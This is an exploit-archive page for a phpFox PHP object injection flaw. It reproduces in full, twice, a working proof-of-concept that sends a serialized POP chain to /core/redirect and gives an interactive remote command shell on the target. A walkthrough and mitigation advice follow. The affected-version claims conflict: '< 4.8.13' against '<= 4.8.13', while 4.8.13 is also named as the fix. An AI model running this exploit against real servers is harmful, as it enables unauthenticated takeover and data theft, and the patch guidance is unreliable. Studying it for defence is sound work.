phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit

Exploit Author: Egidio Romano Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-02-19
<?php

/*
    --------------------------------------------------------------
    phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
    --------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.phpfox.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "url" request parameter to the /core/redirect route is
    not properly sanitized before being used in a call to the unserialize() PHP function.
    This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP
    objects into the application scope, allowing them to perform a variety of attacks,
    such as executing arbitrary PHP code.
    
    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2023-12
*/
set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

print "+------------------------------------------------------------------+\n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
print "+------------------------------------------------------------------+\n";

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

function encode($string)
{
        $string = addslashes(gzcompress($string, 9));
        return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
}

class Phpfox_Request
{
private $_sName = "EgiX";
private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;"; 
}

class Core_Objectify
{
private $__toString;

function __construct($callback)
{
$this->__toString = $callback;
}
}

print "\n[+] Launching shell on {$argv[1]}\n";

$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));

while(1)
{
    print "\nphpFox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}


phpFox < 4.8.13: Redirect PHP Object Injection Exploit – A Deep Dive into a Critical Vulnerability

One of the most dangerous vulnerabilities in web application frameworks is PHP Object Injection, particularly when it arises from improper input handling and serialization. In the case of phpFox, a widely used social networking platform, a flaw in its /core/redirect route has enabled remote, unauthenticated attackers to execute arbitrary code through a chain of malicious object serialization.

Understanding the Vulnerability: How It Works

The vulnerability exists in phpFox versions prior to 4.8.13, where user input is passed via the url parameter to the core/redirect endpoint. This parameter is directly fed into the unserialize() function without proper sanitization.

This creates a perfect attack vector: an attacker can craft a serialized PHP object payload that, when unserialized, triggers arbitrary code execution through method injection or __toString() magic methods.

As documented in the Karma Security advisory (KIS-2023-12), the exploit leverages the Core_Objectify class and the Phpfox_Request class to construct a pop chain — a sequence of objects that, when unserialized, invokes a malicious callback.

Exploit Chain Breakdown: The Technical Mechanics

Let’s examine the core exploit logic:


class Phpfox_Request
{
    private $_sName = "EgiX";
    private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;";
}

This class contains a private property $_sPluginRequestGet that holds a PHP code snippet. The key is that this code is not executed directly — it's stored as a string. However, when the object is used in a context where __toString() is invoked, it can be executed.

Next, the Core_Objectify class is used to wrap a callback:


class Core_Objectify
{
    private $__toString;
    
    function __construct($callback)
    {
        $this->__toString = $callback;
    }
}

When an instance of Core_Objectify is used in a string context (e.g., during echo or print), PHP automatically calls __toString(). If this method is set to a callable (like a method from another object), it executes the callback — in this case, get from the Phpfox_Request object.

Exploitation Process: Step-by-Step

The exploit works as follows:

  1. Attackers craft a serialized object chain using serialize(new Core_Objectify([new Phpfox_Request, "get"])).
  2. The serialized string is compressed, encoded, and URL-encoded to bypass filters.
  3. It is sent via a POST request to index.php/core/redirect with the url parameter.
  4. The server unserializes the input, triggering the __toString() method.
  5. The malicious code within $_sPluginRequestGet executes, allowing remote command execution.

This is a classic PHP Object Injection exploit, where the attacker controls the object state and leverages PHP’s magic methods to bypass security boundaries.

Real-World Impact and Risk Assessment

This vulnerability is particularly dangerous because:

  • Unauthenticated access — no login required.
  • Remote code execution (RCE) — attackers can run arbitrary commands on the server.
  • Full system compromise — if the web server runs as a privileged user, the attacker can gain full control.
  • Exploit is easy to automate — the proof-of-concept script provided by EgiX demonstrates a working shell interface.

Attackers could:

  • Upload backdoors or web shells.
  • Exfiltrate sensitive data (e.g., database credentials, user data).
  • Modify configuration files or inject malicious JavaScript.
  • Perform lateral movement within a network if the server is part of a larger infrastructure.

Exploit Code Analysis: How It Works in Practice

Here is the full exploit script from the advisory:


set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

print "+------------------------------------------------------------------+\n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
print "+------------------------------------------------------------------+\n";

if ($argc != 2) die("\nUsage: php $argv[0] \n\n");

function encode($string)
{
    $string = addslashes(gzcompress($string, 9));
    return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
}

class Phpfox_Request
{
    private $_sName = "EgiX";
    private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;";
}

class Core_Objectify
{
    private $__toString;
    
    function __construct($callback)
    {
        $this->__toString = $callback;
    }
}

print "\n[+] Launching shell on {$argv[1]}\n";

$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));

while(1)
{
    print "\nphpFox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}

Explanation:

1. set_time_limit(0) disables execution timeout — crucial for long-running attacks.

2. error_reporting(E_ERROR) suppresses warnings, ensuring clean output.

3. The encode() function performs multiple layers of encoding:

  • gzcompress() compresses the payload to reduce size.
  • addslashes() prevents PHP from interpreting special characters.
  • base64_encode() encodes the data into a safe string.
  • strtr() replaces +, /, = with -, _, , for URL safety.

4. The popChain is constructed using serialize() — this turns the object structure into a string that PHP can unmarshal.

5. The str_replace() step is a workaround to bypass potential class name filtering — ensures the serialized string contains the correct class name.

6. The curl request sends the payload via POST, with the url parameter.

7. The HTTP_CMD header is used to pass commands from the attacker’s shell. The server decodes it via base64_decode() and executes it with passthru().

8. The output is captured using preg_match() — the _____ markers act as delimiters to extract the command result.

Security Recommendations and Mitigation

For developers and administrators, the following measures are critical:

  • Never unserialize user input — treat any serialized data from external sources as dangerous.
  • Use whitelisting — only allow specific, trusted classes to be unserialized.
  • Input validation and sanitization — validate and sanitize all request parameters before processing.
  • Upgrade promptly — upgrade to phpFox 4.8.13 or later to patch this vulnerability.
  • Enable logging — monitor for suspicious unserialize attempts or unusual command execution.

Additionally, consider implementing:

  • WAF (Web Application Firewall) rules to block suspicious serialized payloads.
  • PHP configuration restrictions on unserialize() usage.
  • Code review for magic method usage in public-facing endpoints.

Conclusion: Lessons Learned

The phpFox < 4.8.13 redirect PHP Object Injection vulnerability serves as a stark reminder of how seemingly minor design flaws can lead to catastrophic breaches. It highlights the importance of:

  • Secure serialization practices.
  • Defense-in-depth strategies.
  • Regular security updates and patch management.

As cybersecurity professionals, we must treat every input — especially serialized data — with suspicion. This exploit proves that even a simple route like /core/redirect can become a backdoor if not properly secured.

For organizations using phpFox, immediate patching is not just recommended — it’s essential.